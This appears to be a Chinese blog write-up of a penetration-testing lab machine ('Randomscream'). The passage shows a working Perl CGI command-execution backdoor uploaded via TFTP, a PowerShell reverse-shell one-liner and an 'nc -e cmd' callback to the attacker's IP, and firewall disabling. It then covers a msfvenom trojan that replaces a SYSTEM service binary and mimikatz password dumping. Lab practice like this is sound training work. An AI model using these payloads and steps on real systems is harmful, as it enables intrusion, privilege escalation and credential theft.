Randomscream打靶记录

主机探测

ip为192.168.31.9 端口扫描

[!attention] 这里需要注意信息收集的全面性,之前都是使用-p-,这个参数默认是扫描的tcp端口,如果要扫描udp端口,需要带上参数-sU

udp端口发现tftp服务

[!note] TFTP(Trivial File Transfer Protocol,简易文件传输协议)是一种简单的文件传输协议,通常用于在本地网络中传输小文件,比如配置文件、引导文件和固件等。TFTP 比较轻量级,实现简单,使用较少的资源,但功能和安全性都较为有限,比如没有数据加密传输。

常用命令:

  • put 上传
  • get 下载

端口渗透

21 端口

可以匿名登录,发现三个文件夹,不过都无法下载下来

分别进入查看文件夹里的内容

[!note] cgi-bin 文件夹在 Web 服务器中通常用于存放 CGI(Common Gateway Interface,通用网关接口)脚本。脚本可以是用多种编程语言编写的,如 Perl、Python、Bash 甚至 C 等。这些脚本用于处理 Web 服务器接收到的用户请求,通常用于生成动态内容。

22&23端口

ssh和telnet登录都需要账密

80 端口

没有有用信息,目录扫描也没结果

69端口上传cgi后门

tftp无法回显当前目录的内容,尝试上传文件,发现能够成功上传

扫目录看能不能扫出来我们上传的这个文件

在网站中访问这个文件

既然可以上传文件,尝试能不能phpinfo()

看上去这个网站没办法解析php

再次ftp登录,看文件上传之后的存放位置,发现是在root文件夹下

由于cgi-bin 文件夹通常存放处理用户请求的脚本,于是想到尝试上传脚本文件到cgi-bin 文件夹

脚本内容:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/perl

use CGI;
use strict;
use warnings;

my $q = CGI->new;
print $q->header('text/plain');

# 获取参数
my $cmd = $q->param('cmd');

# 确保参数存在
if (defined $cmd) {
    # 执行系统命令并显示输出
    my $output = `$cmd`;
    print $output;
} else {
    print "提供一个 'cmd' 参数来运行命令。\n";
}

可以通过 HTTP GET 请求访问该脚本,并在 URL 参数中传递命令 传入ls没有回显,传入dir则有,说明是Windows系统

成功证明可以在靶机上执行命令了

nc反弹shell

尝试执行反弹shell的命令,但是没有成功,开始排查原因

1
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('192.168.31.212',12345);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

靶机和攻击机处于同一内网中,按道理来说是相互通的,但是靶机可以ping通攻击机,攻击机却无法ping通靶机,于是想到靶机可能开了防火墙

1
netsh firewall show state

  • Operational modeEnable 表示防火墙是启用的

关闭防火墙

1
netsh firewall set opmode disable

传入反弹shell的命令,不过依然失败,尝试换其他的反弹shell的方式,使用netcat 这里使用的是netcat-win32-1.12,上传nc.exe

[!attention] 这里注意,要上传的是exe文件,在tftp上传的时候,需要先切换成binary模式

反弹shell的命令:

1
nc.exe -e cmd 192.168.31.212 12345

成功反弹

[!note] 在Windows XP上无法使用whoami命令,一般用echo %userdomain%或者echo %username%

提权

查看当前登录用户的权限信息

可以看到当前用户是管理员组的 添加用户

使用这个账密登录上去

本来打算用这个账号登录上去之后,使用at命令启动system shell

1
at 13:38 /interactive cmd.exe #在13:38以system权限打开cmd

例如这样

但是显示不允许,寻找其他提权思路 查看进程信息,看有哪些进程是以SYSTEM权限启动的

1
tasklist /v /fi "username eq system"

这里注意到这三个网络服务

  • FileZilla server.exe
  • FreeSSHDService.exe
  • OpenTFTPServerMT.exe

对应去寻找服务名称

选择其中一个服务入手,接下来就是去寻找程序的绝对路径。 比如,找FileZilla server.exe的绝对路径,然后使用木马程序替换它

1
dir /s | findstr "FileZilla server.exe"

FileZilla server.exe的绝对路径为:C:\Program Files\FileZilla Server\FileZilla server.exe

暂停该服务

1
net stop "FileZilla Server FTP server"

生成木马

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.31.212 LPORT=55555 -f exe > reverse_sys_tcpshell.exe
  • msfvenom:Metasploit 框架的一个模块,用于生成恶意 payload
  • -p windows/shell_reverse_tcp:指定 payload 类型。在这种情况下,使用的是 windows/shell_reverse_tcp,即一个Windows系统上的反向 TCP shell
  • LHOST=192.168.2.108:指定连接的攻击者的主机 IP 地址(监听的地址)
  • LPORT=12500:指定反向连接要连接到的攻击者主机的端口号
  • -f exe:指定输出格式为可执行文件(Windows 可执行文件格式)

将这个木马文件上传到靶机中,并将原本的FileZilla server.exe替换成木马文件

在攻击机上开启监听,并启动服务

1
net start "FileZilla Server FTP server"

成功提权

mimikatz抓取用户密码

将猕猴桃上传,进入mimikatz命令交互界面

1
privilege::debug

读取用户凭证信息

1
sekurlsa::logonpasswords

成功获取到用户alex的密码

总结

1、信息收集忽略了udp端口的收集,-p-是默认tcp的全端口扫描,这个靶机的突破点在于69 tftp,如果没有收集到这个信息,会比较难进行下去。

2、要进行rce,这里的方式是上传了cgi后门,一个简单的perl脚本文件,后门不止这一种语言,还可以用c写。

3、反弹shell是用的nc,这里也是经过了一些尝试,最后发现上传nc可以达到目的。反弹shell不成功,我觉得可以先考虑网络,假设反弹shell命令正确,网络条件是否ok,再排查反弹shell的命令是否正确。

4、提权这一步很好理解,就是去找以SYSTEM权限启动的进程,替换成自己的木马。

5、猕猴桃抓取用户密码,熟悉操作就好。

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计
本博客已稳定运行